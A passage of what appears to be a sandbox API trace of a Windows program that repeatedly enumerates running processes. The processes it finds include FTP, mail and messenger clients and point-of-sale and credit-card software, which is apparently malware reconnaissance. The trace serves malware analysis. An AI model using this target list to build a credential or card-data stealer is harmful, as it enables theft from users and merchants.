lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0246.432] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0246.434] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0246.436] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0246.438] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0246.440] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0246.442] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0246.443] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0246.445] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0246.446] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0246.448] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0246.449] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0246.450] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0246.452] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0246.453] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0246.455] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0246.510] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0246.512] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0246.514] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0246.515] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0246.517] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0246.519] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0246.521] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0246.522] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0246.524] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0246.526] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0246.528] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0246.530] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0246.531] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0246.533] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0246.535] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0246.537] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0246.539] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0246.541] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0246.542] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0246.544] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0246.546] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0246.547] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0246.549] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0246.647] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0246.649] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0246.651] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0246.652] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0246.654] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0246.656] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0246.657] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0246.661] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0246.663] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0246.665] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0246.666] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0246.668] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0246.669] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0246.671] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0246.673] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0246.674] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0246.676] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0246.678] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0246.680] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0246.681] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0246.683] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0246.684] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0246.686] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0246.687] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0246.689] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0246.741] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0246.744] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0246.747] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0246.749] CloseHandle (hObject=0x13b0) returned 1 [0246.749] Sleep (dwMilliseconds=0x64) [0246.785] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13b0 [0246.797] Process32First (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0246.800] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0246.802] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0246.803] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0246.805] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0246.807] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0246.809] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0246.811] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0246.813] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0246.815] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.865] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.866] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0246.867] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.869] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.870] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.871] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.873] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, 